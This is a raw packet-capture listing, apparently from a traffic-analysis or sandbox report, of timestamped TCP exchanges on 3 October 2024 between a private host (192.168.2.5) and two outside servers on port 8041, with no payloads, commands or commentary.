Oct 3, 2024 20:42:41.666455030 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.666476965 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.666496992 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.666516066 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.666532993 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.666620016 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.666635036 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.666659117 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.666666031 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.666675091 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.666678905 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.666697979 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.666712046 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.666785002 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.666847944 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.667254925 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.667299032 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.667314053 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.667331934 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.667356014 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.667367935 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.667453051 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.667469025 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.667484045 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.667494059 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.667519093 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.667618036 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.667633057 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.667659998 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.667682886 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.668190956 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.668232918 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.670008898 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.670027971 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.670046091 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.670063019 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.670090914 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.670092106 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.670115948 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.670133114 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.670171976 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.670237064 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.670253038 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.670283079 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.670306921 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.670607090 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.670619965 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.670653105 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.713640928 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.713661909 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.713680983 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.713747025 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.713779926 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.755280018 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.755351067 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.755414963 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.755440950 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.755470037 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.755500078 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.755503893 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.755538940 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.755561113 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.755572081 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.755605936 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.755628109 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.755649090 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.755656004 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.755691051 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.755726099 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.755754948 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.755759954 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.755772114 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.755794048 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.755825996 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.755851030 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.755860090 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.755872011 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.755909920 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.756009102 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.756042004 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.756067991 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.756077051 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.756088972 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.756110907 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.756120920 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.756145000 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.756154060 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.756186962 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.756294966 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.756324053 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.756350994 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.756359100 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.756369114 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.756392956 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.756405115 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.756426096 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.756438017 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.756459951 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.756467104 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.756509066 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.756596088 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.756628036 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.756654024 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.756661892 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.756669998 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.756690979 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.756716013 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.756731033 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.756804943 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.756836891 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.756870031 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.756902933 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.756913900 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.757066011 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.757097960 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.757114887 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.757131100 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.757142067 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.757164955 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.757199049 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.757211924 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.757234097 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.757266998 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.757277966 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.757302999 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.757491112 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.757519960 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.757550955 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.757567883 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.757585049 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.757595062 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.757617950 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.757647038 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.757647038 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.757652044 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.757668972 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.757687092 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.757694006 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.758022070 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.758054018 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.758080959 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.758089066 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.758096933 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.758121967 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.758155107 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.758166075 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.758188009 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.758220911 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.758233070 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.758265018 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.758300066 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.758332014 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.758371115 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.758379936 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.761956930 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.761990070 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.762018919 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.762022018 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.762058020 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.762058973 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.762092113 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.762105942 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.762129068 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.762173891 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.762197018 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.762245893 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.762279034 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.762305021 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.762311935 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.762321949 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.762346029 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.762381077 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.762394905 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.762487888 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.762520075 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.762546062 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.762552977 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.762563944 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.762948990 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.804369926 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.804418087 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.804454088 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.804487944 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.804492950 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.804524899 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.804555893 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.804558992 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.804558992 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.804589033 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.804609060 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.846126080 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.846149921 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.846167088 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.846182108 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.846184969 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.846198082 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.846218109 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.846223116 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.846239090 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.846246004 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.846255064 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.846261024 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.846271992 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.846287012 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.846290112 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.846302986 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.846313000 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.846321106 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.846340895 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.846368074 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.846489906 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.846530914 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.846595049 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.846628904 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.846662045 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.846673965 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.846695900 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.846700907 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.846730947 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.846776962 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.846932888 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.846966982 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.846999884 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.847014904 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.847033978 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.847044945 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.847067118 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.847100973 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.847112894 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.847136021 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.847177029 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.847198009 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.847253084 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:44.293905020 CEST	49897	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:44.298861027 CEST	8041	49897	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:44.299047947 CEST	49897	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:44.299370050 CEST	49897	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:44.304151058 CEST	8041	49897	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:44.927695990 CEST	8041	49897	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:44.927773952 CEST	49897	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:44.928045988 CEST	8041	49897	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:44.928097010 CEST	49897	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:44.928147078 CEST	49897	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:44.928606987 CEST	49903	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:44.932975054 CEST	8041	49897	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:44.933590889 CEST	8041	49903	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:44.933656931 CEST	49903	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:44.939049959 CEST	49903	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:44.944000006 CEST	8041	49903	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:45.635402918 CEST	8041	49903	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:45.635476112 CEST	49903	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:45.635782003 CEST	8041	49903	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:45.635832071 CEST	49903	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:45.635845900 CEST	49903	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:45.636277914 CEST	49909	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:45.640649080 CEST	8041	49903	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:45.641078949 CEST	8041	49909	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:45.641163111 CEST	49909	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:45.641239882 CEST	49909	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:45.644335032 CEST	49910	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:45.646313906 CEST	8041	49909	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:45.646373987 CEST	49909	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:45.649095058 CEST	8041	49910	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:45.649163961 CEST	49910	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:45.649868965 CEST	49910	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:45.654616117 CEST	8041	49910	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:46.334979057 CEST	8041	49910	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:46.335202932 CEST	8041	49910	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:46.335293055 CEST	49910	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:46.342178106 CEST	49910	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:46.342818975 CEST	49912	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:46.349778891 CEST	8041	49910	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:46.350450993 CEST	8041	49912	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:46.350516081 CEST	49912	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:46.359551907 CEST	49912	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:46.368989944 CEST	8041	49912	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:46.972744942 CEST	8041	49912	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:46.972894907 CEST	8041	49912	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:46.973146915 CEST	49912	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:46.973495960 CEST	49912	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:46.973932981 CEST	49918	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:46.978468895 CEST	8041	49912	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:46.978796959 CEST	8041	49918	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:46.981713057 CEST	49918	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:46.981827021 CEST	49918	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:46.986831903 CEST	8041	49918	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:46.986896992 CEST	8041	49918	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:46.986968040 CEST	49918	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:50.075532913 CEST	49708	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:50.080878019 CEST	8041	49708	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:50.080935955 CEST	49708	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:50.093470097 CEST	49938	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:50.098422050 CEST	8041	49938	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:50.098536015 CEST	49938	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:50.099009037 CEST	49938	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:50.103869915 CEST	8041	49938	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:50.704494953 CEST	8041	49938	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:50.704557896 CEST	49938	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:50.705027103 CEST	49938	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:50.706060886 CEST	49938	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:50.709784985 CEST	8041	49938	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:50.710829973 CEST	8041	49938	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:50.990398884 CEST	8041	49938	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:50.990549088 CEST	49938	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:51.034502029 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:51.042052031 CEST	49945	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:51.377859116 CEST	8041	49945	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:51.377872944 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:51.377963066 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:51.378460884 CEST	49945	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:51.378462076 CEST	49945	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:51.387429953 CEST	8041	49945	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:52.050204992 CEST	8041	49945	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:52.050301075 CEST	49945	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:52.050843000 CEST	49945	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:52.051939964 CEST	49945	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:52.055614948 CEST	8041	49945	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:52.056761026 CEST	8041	49945	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:52.351784945 CEST	8041	49945	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:52.351912975 CEST	49945	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:55.414127111 CEST	49938	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:55.414633989 CEST	49970	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:55.419421911 CEST	8041	49938	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:55.419521093 CEST	49938	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:55.419543982 CEST	8041	49970	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:55.419610977 CEST	49970	8041	192.168.2.5	82.115.223.39
